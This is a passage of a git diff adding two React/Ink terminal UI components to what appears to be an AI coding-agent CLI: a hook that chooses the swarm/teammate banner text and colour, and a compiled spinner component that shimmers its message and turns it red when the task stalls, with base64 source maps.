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
\ No newline at end of file
diff --git a/cc-haha/src/components/PromptInput/useSwarmBanner.ts b/cc-haha/src/components/PromptInput/useSwarmBanner.ts
new file mode 100644
index 0000000..2ce6ba9
--- /dev/null
+++ b/cc-haha/src/components/PromptInput/useSwarmBanner.ts
@@ -0,0 +1,155 @@
+import * as React from 'react'
+import { useAppState, useAppStateStore } from '../../state/AppState.js'
+import {
+  getActiveAgentForInput,
+  getViewedTeammateTask,
+} from '../../state/selectors.js'
+import {
+  AGENT_COLOR_TO_THEME_COLOR,
+  AGENT_COLORS,
+  type AgentColorName,
+  getAgentColor,
+} from '../../tools/AgentTool/agentColorManager.js'
+import { getStandaloneAgentName } from '../../utils/standaloneAgent.js'
+import { isInsideTmux } from '../../utils/swarm/backends/detection.js'
+import {
+  getCachedDetectionResult,
+  isInProcessEnabled,
+} from '../../utils/swarm/backends/registry.js'
+import { getSwarmSocketName } from '../../utils/swarm/constants.js'
+import {
+  getAgentName,
+  getTeammateColor,
+  getTeamName,
+  isTeammate,
+} from '../../utils/teammate.js'
+import { isInProcessTeammate } from '../../utils/teammateContext.js'
+import type { Theme } from '../../utils/theme.js'
+
+type SwarmBannerInfo = {
+  text: string
+  bgColor: keyof Theme
+} | null
+
+/**
+ * Hook that returns banner information for swarm, standalone agent, or --agent CLI context.
+ * - Leader (not in tmux): Returns "tmux -L ... attach" command with cyan background
+ * - Leader (in tmux / in-process): Falls through to standalone-agent check — shows
+ *   /rename name + /color background if set, else null
+ * - Teammate: Returns "teammate@team" format with their assigned color background
+ * - Viewing a background agent (CoordinatorTaskPanel): Returns agent name with its color
+ * - Standalone agent: Returns agent name with their color background (no @team)
+ * - --agent CLI flag: Returns "@agentName" with cyan background
+ */
+export function useSwarmBanner(): SwarmBannerInfo {
+  const teamContext = useAppState(s => s.teamContext)
+  const standaloneAgentContext = useAppState(s => s.standaloneAgentContext)
+  const agent = useAppState(s => s.agent)
+  // Subscribe so the banner updates on enter/exit teammate view even though
+  // getActiveAgentForInput reads it from store.getState().
+  useAppState(s => s.viewingAgentTaskId)
+  const store = useAppStateStore()
+  const [insideTmux, setInsideTmux] = React.useState<boolean | null>(null)
+
+  React.useEffect(() => {
+    void isInsideTmux().then(setInsideTmux)
+  }, [])
+
+  const state = store.getState()
+
+  // Teammate process: show @agentName with assigned color.
+  // In-process teammates run headless — their banner shows in the leader UI instead.
+  if (isTeammate() && !isInProcessTeammate()) {
+    const agentName = getAgentName()
+    if (agentName && getTeamName()) {
+      return {
+        text: `@${agentName}`,
+        bgColor: toThemeColor(
+          teamContext?.selfAgentColor ?? getTeammateColor(),
+        ),
+      }
+    }
+  }
+
+  // Leader with spawned teammates: tmux-attach hint when external, else show
+  // the viewed teammate's name when inside tmux / native panes / in-process.
+  const hasTeammates =
+    teamContext?.teamName &&
+    teamContext.teammates &&
+    Object.keys(teamContext.teammates).length > 0
+  if (hasTeammates) {
+    const viewedTeammate = getViewedTeammateTask(state)
+    const viewedColor = toThemeColor(viewedTeammate?.identity.color)
+    const inProcessMode = isInProcessEnabled()
+    const nativePanes = getCachedDetectionResult()?.isNative ?? false
+
+    if (insideTmux === false && !inProcessMode && !nativePanes) {
+      return {
+        text: `View teammates: \`tmux -L ${getSwarmSocketName()} a\``,
+        bgColor: viewedColor,
+      }
+    }
+    if (
+      (insideTmux === true || inProcessMode || nativePanes) &&
+      viewedTeammate
+    ) {
+      return {
+        text: `@${viewedTeammate.identity.agentName}`,
+        bgColor: viewedColor,
+      }
+    }
+    // insideTmux === null: still loading — fall through.
+    // Not viewing a teammate: fall through so /rename and /color are honored.
+  }
+
+  // Viewing a background agent (CoordinatorTaskPanel): local_agent tasks aren't
+  // InProcessTeammates, so getViewedTeammateTask misses them. Reverse-lookup the
+  // name from agentNameRegistry the same way CoordinatorAgentStatus does.
+  const active = getActiveAgentForInput(state)
+  if (active.type === 'named_agent') {
+    const task = active.task
+    let name: string | undefined
+    for (const [n, id] of state.agentNameRegistry) {
+      if (id === task.id) {
+        name = n
+        break
+      }
+    }
+    return {
+      text: name ? `@${name}` : task.description,
+      bgColor: getAgentColor(task.agentType) ?? 'cyan_FOR_SUBAGENTS_ONLY',
+    }
+  }
+
+  // Standalone agent (/rename, /color): name and/or custom color, no @team.
+  const standaloneName = getStandaloneAgentName(state)
+  const standaloneColor = standaloneAgentContext?.color
+  if (standaloneName || standaloneColor) {
+    return {
+      text: standaloneName ?? '',
+      bgColor: toThemeColor(standaloneColor),
+    }
+  }
+
+  // --agent CLI flag (when not handled above).
+  if (agent) {
+    const agentDef = state.agentDefinitions.activeAgents.find(
+      a => a.agentType === agent,
+    )
+    return {
+      text: agent,
+      bgColor: toThemeColor(agentDef?.color, 'promptBorder'),
+    }
+  }
+
+  return null
+}
+
+function toThemeColor(
+  colorName: string | undefined,
+  fallback: keyof Theme = 'cyan_FOR_SUBAGENTS_ONLY',
+): keyof Theme {
+  return colorName && AGENT_COLORS.includes(colorName as AgentColorName)
+    ? AGENT_COLOR_TO_THEME_COLOR[colorName as AgentColorName]
+    : fallback
+}
diff --git a/cc-haha/src/components/Spinner/GlimmerMessage.tsx b/cc-haha/src/components/Spinner/GlimmerMessage.tsx
new file mode 100644
index 0000000..255a49c
--- /dev/null
+++ b/cc-haha/src/components/Spinner/GlimmerMessage.tsx
@@ -0,0 +1,328 @@
+import { c as _c } from "react/compiler-runtime";
+import * as React from 'react';
+import { stringWidth } from '../../ink/stringWidth.js';
+import { Text, useTheme } from '../../ink.js';
+import { getGraphemeSegmenter } from '../../utils/intl.js';
+import { getTheme, type Theme } from '../../utils/theme.js';
+import type { SpinnerMode } from './types.js';
+import { interpolateColor, parseRGB, toRGBColor } from './utils.js';
+type Props = {
+  message: string;
+  mode: SpinnerMode;
+  messageColor: keyof Theme;
+  glimmerIndex: number;
+  flashOpacity: number;
+  shimmerColor: keyof Theme;
+  stalledIntensity?: number;
+};
+const ERROR_RED = {
+  r: 171,
+  g: 43,
+  b: 63
+};
+export function GlimmerMessage(t0) {
+  const $ = _c(75);
+  const {
+    message,
+    mode,
+    messageColor,
+    glimmerIndex,
+    flashOpacity,
+    shimmerColor,
+    stalledIntensity: t1
+  } = t0;
+  const stalledIntensity = t1 === undefined ? 0 : t1;
+  const [themeName] = useTheme();
+  let messageWidth;
+  let segments;
+  let t2;
+  if ($[0] !== flashOpacity || $[1] !== message || $[2] !== messageColor || $[3] !== mode || $[4] !== shimmerColor || $[5] !== stalledIntensity || $[6] !== themeName) {
+    t2 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      const theme = getTheme(themeName);
+      let segs;
+      if ($[10] !== message) {
+        segs = [];
+        for (const {
+          segment
+        } of getGraphemeSegmenter().segment(message)) {
+          segs.push({
+            segment,
+            width: stringWidth(segment)
+          });
+        }
+        $[10] = message;
+        $[11] = segs;
+      } else {
+        segs = $[11];
+      }
+      let t3;
+      if ($[12] !== message) {
+        t3 = stringWidth(message);
+        $[12] = message;
+        $[13] = t3;
+      } else {
+        t3 = $[13];
+      }
+      let t4;
+      if ($[14] !== segs || $[15] !== t3) {
+        t4 = {
+          segments: segs,
+          messageWidth: t3
+        };
+        $[14] = segs;
+        $[15] = t3;
+        $[16] = t4;
+      } else {
+        t4 = $[16];
+      }
+      ({
+        segments,
+        messageWidth
+      } = t4);
+      if (!message) {
+        t2 = null;
+        break bb0;
+      }
+      if (stalledIntensity > 0) {
+        const baseColorStr = theme[messageColor];
+        const baseRGB = baseColorStr ? parseRGB(baseColorStr) : null;
+        if (baseRGB) {
+          const interpolated = interpolateColor(baseRGB, ERROR_RED, stalledIntensity);
+          const color = toRGBColor(interpolated);
+          let t5;
+          if ($[17] !== color) {
+            t5 = <Text color={color}> </Text>;
+            $[17] = color;
+            $[18] = t5;
+          } else {
+            t5 = $[18];
+          }
+          t2 = <><Text color={color}>{message}</Text>{t5}</>;
+          break bb0;
+        }
+        const color_0 = stalledIntensity > 0.5 ? "error" : messageColor;
+        let t5;
+        if ($[19] !== color_0 || $[20] !== message) {
+          t5 = <Text color={color_0}>{message}</Text>;
+          $[19] = color_0;
+          $[20] = message;
+          $[21] = t5;
+        } else {
+          t5 = $[21];
+        }
+        let t6;
+        if ($[22] !== color_0) {
+          t6 = <Text color={color_0}> </Text>;
+          $[22] = color_0;
+          $[23] = t6;
+        } else {
+          t6 = $[23];
+        }
+        let t7;
+        if ($[24] !== t5 || $[25] !== t6) {
+          t7 = <>{t5}{t6}</>;
+          $[24] = t5;
+          $[25] = t6;
+          $[26] = t7;
+        } else {
+          t7 = $[26];
+        }
+        t2 = t7;
+        break bb0;
+      }
+      if (mode === "tool-use") {
+        const baseColorStr_0 = theme[messageColor];
+        const shimmerColorStr = theme[shimmerColor];
+        const baseRGB_0 = baseColorStr_0 ? parseRGB(baseColorStr_0) : null;
+        const shimmerRGB = shimmerColorStr ? parseRGB(shimmerColorStr) : null;
+        if (baseRGB_0 && shimmerRGB) {
+          const interpolated_0 = interpolateColor(baseRGB_0, shimmerRGB, flashOpacity);
+          const t5 = <Text color={toRGBColor(interpolated_0)}>{message}</Text>;
+          let t6;
+          if ($[27] !== messageColor) {
+            t6 = <Text color={messageColor}> </Text>;
+            $[27] = messageColor;
+            $[28] = t6;
+          } else {
+            t6 = $[28];
+          }
+          let t7;
+          if ($[29] !== t5 || $[30] !== t6) {
+            t7 = <>{t5}{t6}</>;
+            $[29] = t5;
+            $[30] = t6;
+            $[31] = t7;
+          } else {
+            t7 = $[31];
+          }
+          t2 = t7;
+          break bb0;
+        }
+        const color_1 = flashOpacity > 0.5 ? shimmerColor : messageColor;
+        let t5;
+        if ($[32] !== color_1 || $[33] !== message) {
+          t5 = <Text color={color_1}>{message}</Text>;
+          $[32] = color_1;
+          $[33] = message;
+          $[34] = t5;
+        } else {
+          t5 = $[34];
+        }
+        let t6;
+        if ($[35] !== messageColor) {
+          t6 = <Text color={messageColor}> </Text>;
+          $[35] = messageColor;
+          $[36] = t6;
+        } else {
+          t6 = $[36];
+        }
+        let t7;
+        if ($[37] !== t5 || $[38] !== t6) {
+          t7 = <>{t5}{t6}</>;
+          $[37] = t5;
+          $[38] = t6;
+          $[39] = t7;
+        } else {
+          t7 = $[39];
+        }
+        t2 = t7;
+        break bb0;
+      }
+    }
+    $[0] = flashOpacity;
+    $[1] = message;
+    $[2] = messageColor;
+    $[3] = mode;
+    $[4] = shimmerColor;
+    $[5] = stalledIntensity;
+    $[6] = themeName;
+    $[7] = messageWidth;
+    $[8] = segments;
+    $[9] = t2;
+  } else {
+    messageWidth = $[7];
+    segments = $[8];
+    t2 = $[9];
+  }
+  if (t2 !== Symbol.for("react.early_return_sentinel")) {
+    return t2;
+  }
+  const shimmerStart = glimmerIndex - 1;
+  const shimmerEnd = glimmerIndex + 1;
+  if (shimmerStart >= messageWidth || shimmerEnd < 0) {
+    let t3;
+    if ($[40] !== message || $[41] !== messageColor) {
+      t3 = <Text color={messageColor}>{message}</Text>;
+      $[40] = message;
+      $[41] = messageColor;
+      $[42] = t3;
+    } else {
+      t3 = $[42];
+    }
+    let t4;
+    if ($[43] !== messageColor) {
+      t4 = <Text color={messageColor}> </Text>;
+      $[43] = messageColor;
+      $[44] = t4;
+    } else {
+      t4 = $[44];
+    }
+    let t5;
+    if ($[45] !== t3 || $[46] !== t4) {
+      t5 = <>{t3}{t4}</>;
+      $[45] = t3;
+      $[46] = t4;
+      $[47] = t5;
+    } else {
+      t5 = $[47];
+    }
+    return t5;
+  }
+  const clampedStart = Math.max(0, shimmerStart);
+  let colPos = 0;
+  let before = "";
+  let shim = "";
+  let after = "";
+  if ($[48] !== after || $[49] !== before || $[50] !== clampedStart || $[51] !== colPos || $[52] !== segments || $[53] !== shim || $[54] !== shimmerEnd) {
+    for (const {
+      segment: segment_0,
+      width
+    } of segments) {
+      if (colPos + width <= clampedStart) {
+        before = before + segment_0;
+      } else {
+        if (colPos > shimmerEnd) {
+          after = after + segment_0;
+        } else {
+          shim = shim + segment_0;
+        }
+      }
+      colPos = colPos + width;
+    }
+    $[48] = after;
+    $[49] = before;
+    $[50] = clampedStart;
+    $[51] = colPos;
+    $[52] = segments;
+    $[53] = shim;
+    $[54] = shimmerEnd;
+    $[55] = before;
+    $[56] = after;
+    $[57] = shim;
+    $[58] = colPos;
+  } else {
+    before = $[55];
+    after = $[56];
+    shim = $[57];
+    colPos = $[58];
+  }
+  let t3;
+  if ($[59] !== before || $[60] !== messageColor) {
+    t3 = before && <Text color={messageColor}>{before}</Text>;
+    $[59] = before;
+    $[60] = messageColor;
+    $[61] = t3;
+  } else {
+    t3 = $[61];
+  }
+  let t4;
+  if ($[62] !== shim || $[63] !== shimmerColor) {
+    t4 = <Text color={shimmerColor}>{shim}</Text>;
+    $[62] = shim;
+    $[63] = shimmerColor;
+    $[64] = t4;
+  } else {
+    t4 = $[64];
+  }
+  let t5;
+  if ($[65] !== after || $[66] !== messageColor) {
+    t5 = after && <Text color={messageColor}>{after}</Text>;
+    $[65] = after;
+    $[66] = messageColor;
+    $[67] = t5;
+  } else {
+    t5 = $[67];
+  }
+  let t6;
+  if ($[68] !== messageColor) {
+    t6 = <Text color={messageColor}> </Text>;
+    $[68] = messageColor;
+    $[69] = t6;
+  } else {
+    t6 = $[69];
+  }
+  let t7;
+  if ($[70] !== t3 || $[71] !== t4 || $[72] !== t5 || $[73] !== t6) {
+    t7 = <>{t3}{t4}{t5}{t6}</>;
+    $[70] = t3;
+    $[71] = t4;
+    $[72] = t5;
+    $[73] = t6;
+    $[74] = t7;
+  } else {
+    t7 = $[74];
+  }
+  return t7;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInN0cmluZ1dpZHRoIiwiVGV4dCIsInVzZVRoZW1lIiwiZ2V0R3JhcGhlbWVTZWdtZW50ZXIiLCJnZXRUaGVtZSIsIlRoZW1lIiwiU3Bpbm5lck1vZGUiLCJpbnRlcnBvbGF0ZUNvbG9yIiwicGFyc2VSR0IiLCJ0b1JHQkNvbG9yIiwiUHJvcHMiLCJtZXNzYWdlIiwibW9kZSIsIm1lc3NhZ2VDb2xvciIsImdsaW1tZXJJbmRleCIsImZsYXNoT3BhY2l0eSIsInNoaW1tZXJDb2xvciIsInN0YWxsZWRJbnRlbnNpdHkiLCJFUlJPUl9SRUQiLCJyIiwiZyIsImIiLCJHbGltbWVyTWVzc2FnZSIsInQwIiwiJCIsIl9jIiwidDEiLCJ1bmRlZmluZWQiLCJ0aGVtZU5hbWUiLCJtZXNzYWdlV2lkdGgiLCJzZWdtZW50cyIsInQyIiwiU3ltYm9sIiwiZm9yIiwiYmIwIiwidGhlbWUiLCJzZWdzIiwic2VnbWVudCIsInB1c2giLCJ3aWR0aCIsInQzIiwidDQiLCJiYXNlQ29sb3JTdHIiLCJiYXNlUkdCIiwiaW50ZXJwb2xhdGVkIiwiY29sb3IiLCJ0NSIsImNvbG9yXzAiLCJ0NiIsInQ3IiwiYmFzZUNvbG9yU3RyXzAiLCJzaGltbWVyQ29sb3JTdHIiLCJiYXNlUkdCXzAiLCJzaGltbWVyUkdCIiwiaW50ZXJwb2xhdGVkXzAiLCJjb2xvcl8xIiwic2hpbW1lclN0YXJ0Iiwic2hpbW1lckVuZCIsImNsYW1wZWRTdGFydCIsIk1hdGgiLCJtYXgiLCJjb2xQb3MiLCJiZWZvcmUiLCJzaGltIiwiYWZ0ZXIiLCJzZWdtZW50XzAiXSwic291cmNlcyI6WyJHbGltbWVyTWVzc2FnZS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBzdHJpbmdXaWR0aCB9IGZyb20gJy4uLy4uL2luay9zdHJpbmdXaWR0aC5qcydcbmltcG9ydCB7IFRleHQsIHVzZVRoZW1lIH0gZnJvbSAnLi4vLi4vaW5rLmpzJ1xuaW1wb3J0IHsgZ2V0R3JhcGhlbWVTZWdtZW50ZXIgfSBmcm9tICcuLi8uLi91dGlscy9pbnRsLmpzJ1xuaW1wb3J0IHsgZ2V0VGhlbWUsIHR5cGUgVGhlbWUgfSBmcm9tICcuLi8uLi91dGlscy90aGVtZS5qcydcbmltcG9ydCB0eXBlIHsgU3Bpbm5lck1vZGUgfSBmcm9tICcuL3R5cGVzLmpzJ1xuaW1wb3J0IHsgaW50ZXJwb2xhdGVDb2xvciwgcGFyc2VSR0IsIHRvUkdCQ29sb3IgfSBmcm9tICcuL3V0aWxzLmpzJ1xuXG50eXBlIFByb3BzID0ge1xuICBtZXNzYWdlOiBzdHJpbmdcbiAgbW9kZTogU3Bpbm5lck1vZGVcbiAgbWVzc2FnZUNvbG9yOiBrZXlvZiBUaGVtZVxuICBnbGltbWVySW5kZXg6IG51bWJlclxuICBmbGFzaE9wYWNpdHk6IG51bWJlclxuICBzaGltbWVyQ29sb3I6IGtleW9mIFRoZW1lXG4gIHN0YWxsZWRJbnRlbnNpdHk/OiBudW1iZXJcbn1cblxuY29uc3QgRVJST1JfUkVEID0geyByOiAxNzEsIGc6IDQzLCBiOiA2MyB9XG5cbmV4cG9ydCBmdW5jdGlvbiBHbGltbWVyTWVzc2FnZSh7XG4gIG1lc3NhZ2UsXG4gIG1vZGUsXG4gIG1lc3NhZ2VDb2xvcixcbiAgZ2xpbW1lckluZGV4LFxuICBmbGFzaE9wYWNpdHksXG4gIHNoaW1tZXJDb2xvcixcbiAgc3RhbGxlZEludGVuc2l0eSA9IDAsXG59OiBQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IFt0aGVtZU5hbWVdID0gdXNlVGhlbWUoKVxuICBjb25zdCB0aGVtZSA9IGdldFRoZW1lKHRoZW1lTmFtZSlcblxuICAvLyBUaGlzIGNvbXBvbmVudCByZS1yZW5kZXJzIGF0IDIwZnBzIChnbGltbWVySW5kZXggY2hhbmdlcyBldmVyeSA1MG1zKSBidXRcbiAgLy8gbWVzc2FnZSBpcyBzdGFibGUgd2l0aGluIGEgdHVybi4gUHJlY29tcHV0ZSBncmFwaGVtZSBzZWdtZW50YXRpb24gKyB3aWR0aHNcbiAgLy8gb25jZSBwZXIgbWVzc2FnZSBpbnN0ZWFkIG9mIHBlciBmcmFtZS4gTWVhc3VyZWQgLTgxJSBvbiB0aGUgc2hpbW1lciBwYXRoLlxuICBjb25zdCB7IHNlZ21lbnRzLCBtZXNzYWdlV2lkdGggfSA9IFJlYWN0LnVzZU1lbW8oKCkgPT4ge1xuICAgIGNvbnN0IHNlZ3M6IHsgc2VnbWVudDogc3RyaW5nOyB3aWR0aDogbnVtYmVyIH1bXSA9IFtdXG4gICAgZm9yIChjb25zdCB7IHNlZ21lbnQgfSBvZiBnZXRHcmFwaGVtZVNlZ21lbnRlcigpLnNlZ21lbnQobWVzc2FnZSkpIHtcbiAgICAgIHNlZ3MucHVzaCh7IHNlZ21lbnQsIHdpZHRoOiBzdHJpbmdXaWR0aChzZWdtZW50KSB9KVxuICAgIH1cbiAgICByZXR1cm4geyBzZWdtZW50czogc2VncywgbWVzc2FnZVdpZHRoOiBzdHJpbmdXaWR0aChtZXNzYWdlKSB9XG4gIH0sIFttZXNzYWdlXSlcblxuICBpZiAoIW1lc3NhZ2UpIHJldHVybiBudWxsXG5cbiAgLy8gV2hlbiBzdGFsbGVkLCBzaG93IHRleHQgdGhhdCBzbW9vdGhseSB0cmFuc2l0aW9ucyB0byByZWRcbiAgaWYgKHN0YWxsZWRJbnRlbnNpdHkgPiAwKSB7XG4gICAgY29uc3QgYmFzZUNvbG9yU3RyID0gdGhlbWVbbWVzc2FnZUNvbG9yXVxuICAgIGNvbnN0IGJhc2VSR0IgPSBiYXNlQ29sb3JTdHIgPyBwYXJzZVJHQihiYXNlQ29sb3JTdHIpIDogbnVsbFxuXG4gICAgaWYgKGJhc2VSR0IpIHtcbiAgICAgIGNvbnN0IGludGVycG9sYXRlZCA9IGludGVycG9sYXRlQ29sb3IoXG4gICAgICAgIGJhc2VSR0IsXG4gICAgICAgIEVSUk9SX1JFRCxcbiAgICAgICAgc3RhbGxlZEludGVuc2l0eSxcbiAgICAgIClcbiAgICAgIGNvbnN0IGNvbG9yID0gdG9SR0JDb2xvcihpbnRlcnBvbGF0ZWQpXG4gICAgICByZXR1cm4gKFxuICAgICAgICA8PlxuICAgICAgICAgIDxUZXh0IGNvbG9yPXtjb2xvcn0+e21lc3NhZ2V9PC9UZXh0PlxuICAgICAgICAgIDxUZXh0IGNvbG9yPXtjb2xvcn0+IDwvVGV4dD5cbiAgICAgICAgPC8+XG4gICAgICApXG4gICAgfVxuXG4gICAgLy8gRmFsbGJhY2sgZm9yIEFOU0kgdGhlbWVzOiB1c2UgbWVzc2FnZUNvbG9yIHVudGlsIGZ1bGx5IHN0YWxsZWQsIHRoZW4gZXJyb3JcbiAgICBjb25zdCBjb2xvciA9IHN0YWxsZWRJbnRlbnNpdHkgPiAwLjUgPyAnZXJyb3InIDogbWVzc2FnZUNvbG9yXG4gICAgcmV0dXJuIChcbiAgICAgIDw+XG4gICAgICAgIDxUZXh0IGNvbG9yPXtjb2xvcn0+e21lc3NhZ2V9PC9UZXh0PlxuICAgICAgICA8VGV4dCBjb2xvcj17Y29sb3J9PiA8L1RleHQ+XG4gICAgICA8Lz5cbiAgICApXG4gIH1cblxuICAvLyB0b29sLXVzZSBtb2RlOiBhbGwgY2hhcnMgZmxhc2ggd2l0aCB0aGUgc2FtZSBvcGFjaXR5LCBzbyByZW5kZXIgYXMgYVxuICAvLyBzaW5nbGUgPFRleHQ+IGluc3RlYWQgb2YgTiBpbmRpdmlkdWFsIEZsYXNoaW5nQ2hhciBjb21wb25lbnRzLlxuICBpZiAobW9kZSA9PT0gJ3Rvb2wtdXNlJykge1xuICAgIGNvbnN0IGJhc2VDb2xvclN0ciA9IHRoZW1lW21lc3NhZ2VDb2xvcl1cbiAgICBjb25zdCBzaGltbWVyQ29sb3JTdHIgPSB0aGVtZVtzaGltbWVyQ29sb3JdXG4gICAgY29uc3QgYmFzZVJHQiA9IGJhc2VDb2xvclN0ciA/IHBhcnNlUkdCKGJhc2VDb2xvclN0cikgOiBudWxsXG4gICAgY29uc3Qgc2hpbW1lclJHQiA9IHNoaW1tZXJDb2xvclN0ciA/IHBhcnNlUkdCKHNoaW1tZXJDb2xvclN0cikgOiBudWxsXG5cbiA